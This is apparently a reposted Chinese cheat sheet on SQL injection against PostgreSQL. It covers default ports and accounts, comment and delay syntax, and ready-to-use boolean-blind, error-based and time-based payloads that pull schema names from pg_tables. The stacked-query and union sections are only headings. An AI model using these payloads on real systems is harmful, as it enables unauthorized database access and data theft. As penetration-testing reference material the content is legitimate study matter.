PostgreSQL数据库的注入
生活随笔
收集整理的這篇文章主要介紹了
PostgreSQL数据库的注入
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
PostgreSQL
PostgreSQL常用查詢命令
布爾盲注
錯誤注入
堆疊注入
時間盲注
聯合查詢
PostgreSQL
PostgreSQL是一種特性非常齊全的自由軟件的對象-關系型數據庫管理系統(ORDBMS),4.2版本為基礎的對象關系型數據庫管理系統。
PostgreSQL安裝后,默認的端口是:5432,默認的用戶名是: postgres ,默認的數據庫也是:postgres 。注釋符:--? ? ? ? ? ? ? 延時函數:pg_sleep(3)
PostgreSQL和MySQL一樣,也有?information_schema?數據庫。
PostgreSQL安裝后默認是不允許其他主機連接的,如果要讓其他主機連接,找到PostgreSQL安裝目錄下的/data/pg_hba.conf,?找到“# IPv4 local connections:”,然后在下面添加你的IP地址
host all all 192.168.10.1/32 md5PostgreSQL常用查詢命令
布爾盲注
1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48?
錯誤注入
報錯注入需要目標網站開啟了報錯提示。
1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)?
堆疊注入
和MySQL的堆疊注入一樣,在后面加上查詢語句即可。
時間盲注
select pg_sleep(3)聯合查詢
更多語句查看SQLMap
總結
以上是生活随笔為你收集整理的PostgreSQL数据库的注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Access数据库注入
- 下一篇: SQL server注入